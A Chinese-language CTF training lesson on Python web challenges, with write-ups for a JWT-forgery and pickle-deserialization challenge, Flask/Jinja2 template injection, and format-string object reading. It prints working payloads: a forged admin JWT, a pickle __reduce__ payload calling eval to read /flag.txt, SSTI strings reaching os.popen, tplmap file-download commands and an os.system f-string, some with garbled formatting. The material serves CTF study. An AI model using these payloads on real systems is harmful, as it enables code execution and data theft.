CTF夺旗-Python考点SSTI&反序列化&字符串
第83天:CTF夺旗-Python考点SSTI%26反序列化%26字符串 - 图1第83天:CTF夺旗-Python考点SSTI%26反序列化%26字符串 - 图2
#必备知识点:
在大量的比赛真题复现中,将涉及到渗透测试的题库进行了语言区分,主要以Python,PHP,Java为主,本章节将各个语言的常考点进行真题复现讲解。

CTF各大题型简介
MISC(安全杂项):全称Miscellaneous。题目涉及流量分析、电子取证、人肉搜索、数据分析、大数据统计等等,覆盖面比较广。我们平时看到的社工类题目;给你一个流量包让你分析的题目;取证分析题目,都属于这类题目。主要考查参赛选手的各种基础综合知识,考察范围比较广。

PPC(编程类):全称Professionally Program Coder。题目涉及到程序编写、编程算法实现。算法的逆向编写,批量处理等,有时候用编程去处理问题,会方便的多。当然PPC相比ACM来说,还是较为容易的。至于编程语言嘛,推荐使用Python来尝试。这部分主要考察选手的快速编程能力。

CRYPTO(密码学):全称Cryptography。题目考察各种加解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术。实验吧“角斗场”中,这样的题目汇集的最多。这部分主要考查参赛选手密码学相关知识点。

REVERSE(逆向):全称reverse。题目涉及到软件逆向、破解技术等,要求有较强的反汇编、反编译扎实功底。需要掌握汇编,堆栈、寄存器方面的知识。有好的逻辑思维能力。主要考查参赛选手的逆向分析能力。此类题目也是线下比赛的考察重点。

STEGA(隐写):全称Steganography。隐写术是我开始接触CTF觉得比较神奇的一类,知道这个东西的时候感觉好神奇啊,黑客们真是聪明。题目的Flag会隐藏到图片、音频、视频等各类数据载体中供参赛选手获取。载体就是图片、音频、视频等,可能是修改了这些载体来隐藏flag,也可能将flag隐藏在这些载体的二进制空白位置。有时候需要你侦探精神足够的强,才能发现。此类题目主要考查参赛选手的对各种隐写工具、隐写算法的熟悉程度。实验吧“角斗场”的隐写题目在我看来是比较全的,以上说到的都有涵盖。新手盆友们可以去了解下。

PWN(溢出):PWN在黑客俚语中代表着攻破,取得权限,在CTF比赛中它代表着溢出类的题目,其中常见类型溢出漏洞有栈溢出、堆溢出。在CTF比赛中,线上比赛会有,但是比例不会太重,进入线下比赛,逆向和溢出则是战队实力的关键。主要考察参数选手漏洞挖掘和利用能力。

WEB(web类):WEB应用在今天越来越广泛,也是CTF夺旗竞赛中的主要题型,题目涉及到常见的Web漏洞,诸如注入、XSS、文件包含、代码审计、上传等漏洞。这些题目都不是简单的注入、上传题目,至少会有一层的安全过滤,需要选手想办法绕过。且Web题目是国内比较多也是大家比较喜欢的题目。因为大多数人开始安全都是从web日站开始的。
演示案例:

  • CTF夺旗-Python-支付逻辑&JWT&反序列化
  • CTF夺旗-Python-Flask&jinja2&SSTI模版注入
  • CTF夺旗-Python-格式化字符串漏洞&读取对象

案例1-CTF夺旗-Python-支付逻辑&JWT安全&反序列化
真题:2019 CISCN 华北赛区 Day1 Web2 WriteUp(全国大学生信息安全竞赛)
打开后通过提示->寻找LV6->购买修改支付逻辑->绕过admin限制需修改jwt值->爆破jwt密匙->重组jwt值成为admin->购买进入会员中心->源码找到文件压缩源码->Python代码审计反序列化->构造读取flag代码进行序列化打印->提交获取
import requests

for i in range(1,1000):
url=’http://119.45.216.198:8083/shop?page='+str(i)
result=requests.get(url).content
try:
if ‘lv6.png’ in result.decode(‘utf-8’):
print(‘->’+url+’|yes’)
break
else:
print(‘->’ + url + ‘|no’)
except Exception as e:
pass

https://jwt.io/ 1Kun
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

IDEA全局搜索漏洞关键字:
https://github.com/bit4woo/python_sec
import pickle
import urllib

class payload(object):
def reduce(self):
return (eval, (“open(‘/flag.txt’,’r’).read()”,))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

cbuiltin%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

案例2-CTF夺旗-Python-Flask&jinja2&SSTI模版注入
1.ssti模版注入原理解释
2.如何确定Python-ssti模版注入:中间件,返回页面,关键文字提示等
3.如何正确利用ssti注入获取Flag:判断版本-找利用类-构造Payload-绕过滤等
参考:https://xz.aliyun.com/t/7746
http://127.0.0.1:5000/acc?404url={{%27%27.class.bases[0]._subclasses()}}%7D%7D)
http://127.0.0.1:5000/acc?404url={{%22%22.class.bases[0].subclasses()[128].init._globals%27popen%27.read()}}%5B128%5D.init.globals%5B%2527popen%2527%5D(%2527whoami%2527).read()%7D%7D)

自动化检测工具tplmap使用
https://github.com/epinna/tplmap
https://www.cnblogs.com/f0rsaken/p/13141503.html
D:\Python27\python.exe tplmap.py -u http://127.0.0.1:5000/xxx?404_url=
D:\Python27\python.exe tplmap.py -u http://127.0.0.1:5000/xxx?404_url= —download flag.txt flag.txt

[WesternCTF2018]shrine
https://buuoj.cn/challenges
D:\Python27\python.exe tplmap.py -u http://0d4f0a6e-9a7e-4d34-ab00-a740ec479178.node3.buuoj.cn/shrine/*
打开发现给出源码-python&flask&ssti-代码分析访问参数,Flag位置,过滤等-
不能进行正常的路径符号-采用内置函数读取-读取代码中的存储Flag
urlfor()函数是用于构建指定函数的URL
https://www.cnblogs.com/liuxiaowei/p/9039622.html
/shrine/{{urlfor.globals}}
/shrine/{{url_for.__globals
[‘current_app’].config}}

案例3-CTF夺旗-Python-格式化字符串漏洞&读取对象
https://xz.aliyun.com/t/3569
第一种:%操作符
第二种:string.Template
第三种:调用format方法
第四种:f-Strings

config={‘flag’:’woaichixigua’}
class User(object):
def init(self,name):
self.name=name

user = User(‘joe’)
print(‘Hello {name}’.format(name=’xiaodi’))
print(‘Hello {name}’.format(name=user.class.init.globals))
print(‘Hello {name}’.format(name=user.class.init.globals[‘config’]))

a , b = 5 , 10
f’Five plus ten is {a + b} and not {2 * (a + b)}.’
‘Five plus ten is 15 and not 30.’
print(f’{import(“os”).system(“ver”)}’)
涉及资源:
https://jwt.io/
https://buuoj.cn/
https://www.bugku.com/
https://www.ctfhub.com/
https://www.xuenixiang.com
https://xz.aliyun.com/t/3569
https://xz.aliyun.com/t/7746
https://github.com/CTFd/CTFd
https://github.com/CTFTraining
https://github.com/epinna/tplmap
https://github.com/bit4woo/python_sec
https://github.com/brendan-rius/c-jwt-cracker